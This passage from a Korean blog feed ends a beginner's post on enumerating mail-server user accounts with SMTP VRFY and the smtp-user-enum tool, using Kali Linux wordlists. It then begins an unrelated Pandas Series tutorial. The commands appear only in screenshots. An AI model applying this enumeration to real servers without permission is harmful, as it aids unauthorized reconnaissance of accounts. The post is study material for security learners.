&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;659&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfAOvg/btqHLeIDKDe/KsCtOW5C7PFPVEhVEABLW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfAOvg/btqHLeIDKDe/KsCtOW5C7PFPVEhVEABLW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfAOvg/btqHLeIDKDe/KsCtOW5C7PFPVEhVEABLW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfAOvg%2FbtqHLeIDKDe%2FKsCtOW5C7PFPVEhVEABLW1%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;659&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 VRFY john을 입력했는데 위와 같은 결과가 나왔다.&lt;/p&gt;
&lt;p&gt;john은 존재하지 않는 계정이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이런 방식으로 사용자의 계정을 알 수 있지만 이것을 하나씩 찾아보기에는 역시 무리가 있다.&lt;/p&gt;
&lt;p&gt;그래서 대신해서 사용할 수 있는 방법이 SMTP-user-enum이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;667&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ecgTXs/btqHLd32Q6Z/Qc0KqMER3uI3s3M8hPGzsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ecgTXs/btqHLd32Q6Z/Qc0KqMER3uI3s3M8hPGzsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ecgTXs/btqHLd32Q6Z/Qc0KqMER3uI3s3M8hPGzsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FecgTXs%2FbtqHLd32Q6Z%2FQc0KqMER3uI3s3M8hPGzsk%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;667&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진처럼 -h 옵션을 사용하면 사용법을 알 수 있다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;664&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpEcHP/btqHvKb6mEP/lxYCris5eKAQig4EnHgvsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpEcHP/btqHvKb6mEP/lxYCris5eKAQig4EnHgvsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpEcHP/btqHvKb6mEP/lxYCris5eKAQig4EnHgvsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpEcHP%2FbtqHvKb6mEP%2FlxYCris5eKAQig4EnHgvsk%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;664&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 사용법 맨아래 제일 위쪽 -U옵션의 예제가 있다.&lt;/p&gt;
&lt;p&gt;그것을 보면 user.txt 파일을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;어떤 파일을 넣어야되냐면 사용자 이름을 나열한 파일을 넣어야 한다.&lt;/p&gt;
&lt;p&gt;직접 파일을 만들어서 넣어도 가능하지만 여기 칼리리눅스에 이미 넣어져 있으므로 그것을 이용해보겠다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;672&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O9ckT/btqHK4e2BZB/q5nlHS1A2Qz5FUlzSoybP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O9ckT/btqHK4e2BZB/q5nlHS1A2Qz5FUlzSoybP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O9ckT/btqHK4e2BZB/q5nlHS1A2Qz5FUlzSoybP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO9ckT%2FbtqHK4e2BZB%2Fq5nlHS1A2Qz5FUlzSoybP1%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;672&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;/usr/share/wordlists/ 위치의 파일들은 공격 대상이 이용될 수 있는 사용자 목록이나 패스워드 목록들을 들어있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;674&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pFn9F/btqHy5NtF0r/ahs9hYoUnE8IrEgUPYuluk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pFn9F/btqHy5NtF0r/ahs9hYoUnE8IrEgUPYuluk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pFn9F/btqHy5NtF0r/ahs9hYoUnE8IrEgUPYuluk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpFn9F%2FbtqHy5NtF0r%2Fahs9hYoUnE8IrEgUPYuluk%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;674&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 경로를 따라 namelist에 들어 가보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;676&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baxmom/btqHGUDYsko/o9yAKOt25eS9DPnwUW7wh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baxmom/btqHGUDYsko/o9yAKOt25eS9DPnwUW7wh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baxmom/btqHGUDYsko/o9yAKOt25eS9DPnwUW7wh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbaxmom%2FbtqHGUDYsko%2Fo9yAKOt25eS9DPnwUW7wh0%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;676&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;679&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KJuUQ/btqHGVCQgSw/nafad0XgnGj1LrSQbrXTM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KJuUQ/btqHGVCQgSw/nafad0XgnGj1LrSQbrXTM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KJuUQ/btqHGVCQgSw/nafad0XgnGj1LrSQbrXTM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKJuUQ%2FbtqHGVCQgSw%2Fnafad0XgnGj1LrSQbrXTM0%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;679&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 위와 같이 사용자 이름으로 쓸만한 내용들이 나열되어있다.&lt;/p&gt;
&lt;p&gt;위의 파일을 이용해서 &lt;span style=&quot;color: #333333;&quot;&gt;SMTP-user-enum을 사용해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;686&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpUmy1/btqHGVpl0hh/fLxud4VksaKQ1PUfNrzK2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpUmy1/btqHGVpl0hh/fLxud4VksaKQ1PUfNrzK2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpUmy1/btqHGVpl0hh/fLxud4VksaKQ1PUfNrzK2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpUmy1%2FbtqHGVpl0hh%2FfLxud4VksaKQ1PUfNrzK2K%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;686&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;689&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRmxxJ/btqHEdX63WN/oe5Mth6y9blGan525yQU8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRmxxJ/btqHEdX63WN/oe5Mth6y9blGan525yQU8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRmxxJ/btqHEdX63WN/oe5Mth6y9blGan525yQU8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRmxxJ%2FbtqHEdX63WN%2Foe5Mth6y9blGan525yQU8K%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;689&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;사용법 예제를 참고해서 위와 같이 입력했다.&lt;/p&gt;
&lt;p&gt;그러니 위와 같이 어떤 사용자 이름들이 있었는지 확인할 수 있었다.&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>SMTP</category>
      <category>smtp-user-enum</category>
      <category>스캐닝</category>
      <category>액티브 스캐닝</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/62</guid>
      <comments>https://geru.tistory.com/62#entry62comment</comments>
      <pubDate>Mon, 31 Aug 2020 15:44:15 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬]문서 프로그램 다루기 - 1</title>
      <link>https://geru.tistory.com/61</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Pandas란?&lt;/h2&gt;
&lt;p&gt;패널 데이터 (계량 경제 용어)와 Python 데이터 분석의 이름을 따서 불리고 있다.&lt;/p&gt;
&lt;p&gt;고수준의 자료구조와 파이썬을 통한 빠르고 데이터 분석 도구를 포함하고 있다.&lt;/p&gt;
&lt;p&gt;NumPy기반에서 개발되어 NumPy를 사용하는 애플리케이션에 쉽게 적용한다.&lt;/p&gt;
&lt;p&gt;널리 사용되는 오픈 소스 Python프로젝트이다.&lt;/p&gt;
&lt;p&gt;그렇다면 이 Pandas를 이용해 보자&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 시리즈(Series) 생성&lt;/h2&gt;
&lt;p&gt;Series : 일련의 객체를 담을 수 있는 1차원 배열 같은 자료 구조&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;175&quot; data-origin-height=&quot;58&quot; width=&quot;296&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvu2nw/btqHvJwVg2C/Eb2z3hN3VTSwVsK5r7wzG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvu2nw/btqHvJwVg2C/Eb2z3hN3VTSwVsK5r7wzG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvu2nw/btqHvJwVg2C/Eb2z3hN3VTSwVsK5r7wzG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdvu2nw%2FbtqHvJwVg2C%2FEb2z3hN3VTSwVsK5r7wzG0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;175&quot; data-origin-height=&quot;58&quot; width=&quot;296&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 입력하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;101&quot; data-origin-height=&quot;75&quot; width=&quot;148&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nHYSu/btqHAm1ZP3I/Zr4Ksupu1EoMaAn6b9JuA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nHYSu/btqHAm1ZP3I/Zr4Ksupu1EoMaAn6b9JuA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nHYSu/btqHAm1ZP3I/Zr4Ksupu1EoMaAn6b9JuA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnHYSu%2FbtqHAm1ZP3I%2FZr4Ksupu1EoMaAn6b9JuA0%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;101&quot; data-origin-height=&quot;75&quot; width=&quot;148&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 출력된다.&lt;/p&gt;
&lt;p&gt;이때 왼쪽(0, 1, 2)는 인덱스이고 오른쪽(1, 2, 3)은 값이다.&lt;/p&gt;
&lt;p&gt;밑의 dtype은 데이터 타입을 나타낸다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 시리즈(Series) 인덱스 수정&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;169&quot; data-origin-height=&quot;37&quot; width=&quot;260&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yfacw/btqHuj6kzeL/7R4EpXf8dgQw79zE59VIYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yfacw/btqHuj6kzeL/7R4EpXf8dgQw79zE59VIYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yfacw/btqHuj6kzeL/7R4EpXf8dgQw79zE59VIYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyfacw%2FbtqHuj6kzeL%2F7R4EpXf8dgQw79zE59VIYk%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;169&quot; data-origin-height=&quot;37&quot; width=&quot;260&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 입력하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;107&quot; data-origin-height=&quot;73&quot; width=&quot;169&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HVTY1/btqHxceyb7R/qSJSukTnUHrtXMwQnFBu30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HVTY1/btqHxceyb7R/qSJSukTnUHrtXMwQnFBu30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HVTY1/btqHxceyb7R/qSJSukTnUHrtXMwQnFBu30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHVTY1%2FbtqHxceyb7R%2FqSJSukTnUHrtXMwQnFBu30%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;107&quot; data-origin-height=&quot;73&quot; width=&quot;169&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다음과 같이 a의 인덱스 값을 수정할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;351&quot; data-origin-height=&quot;38&quot; width=&quot;490&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqMHI0/btqHAmAX6PQ/PezadQv9IuLBpoPfL0kk9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqMHI0/btqHAmAX6PQ/PezadQv9IuLBpoPfL0kk9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqMHI0/btqHAmAX6PQ/PezadQv9IuLBpoPfL0kk9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqMHI0%2FbtqHAmAX6PQ%2FPezadQv9IuLBpoPfL0kk9k%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;351&quot; data-origin-height=&quot;38&quot; width=&quot;490&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;101&quot; data-origin-height=&quot;93&quot; width=&quot;178&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuAagg/btqHA4NEcua/Xe7vF2ZOVulwrQwh8Dctp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuAagg/btqHA4NEcua/Xe7vF2ZOVulwrQwh8Dctp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuAagg/btqHA4NEcua/Xe7vF2ZOVulwrQwh8Dctp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuAagg%2FbtqHA4NEcua%2FXe7vF2ZOVulwrQwh8Dctp0%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;101&quot; data-origin-height=&quot;93&quot; width=&quot;178&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;위와 같이 한줄로도 처리 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3. 시리즈(Series) 색인 검색&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;180&quot; data-origin-height=&quot;20&quot; width=&quot;288&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjMDjo/btqHsa2Pe4S/C8SBGqkQeR4BbwPOj6ZRv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjMDjo/btqHsa2Pe4S/C8SBGqkQeR4BbwPOj6ZRv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjMDjo/btqHsa2Pe4S/C8SBGqkQeR4BbwPOj6ZRv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjMDjo%2FbtqHsa2Pe4S%2FC8SBGqkQeR4BbwPOj6ZRv0%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;180&quot; data-origin-height=&quot;20&quot; width=&quot;288&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 입력하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;81&quot; data-origin-height=&quot;21&quot; width=&quot;154&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/766Qf/btqHEdXzpIW/wxkk2QFHXgqZCejf3vhfC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/766Qf/btqHEdXzpIW/wxkk2QFHXgqZCejf3vhfC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/766Qf/btqHEdXzpIW/wxkk2QFHXgqZCejf3vhfC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F766Qf%2FbtqHEdXzpIW%2Fwxkk2QFHXgqZCejf3vhfC0%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;81&quot; data-origin-height=&quot;21&quot; width=&quot;154&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; 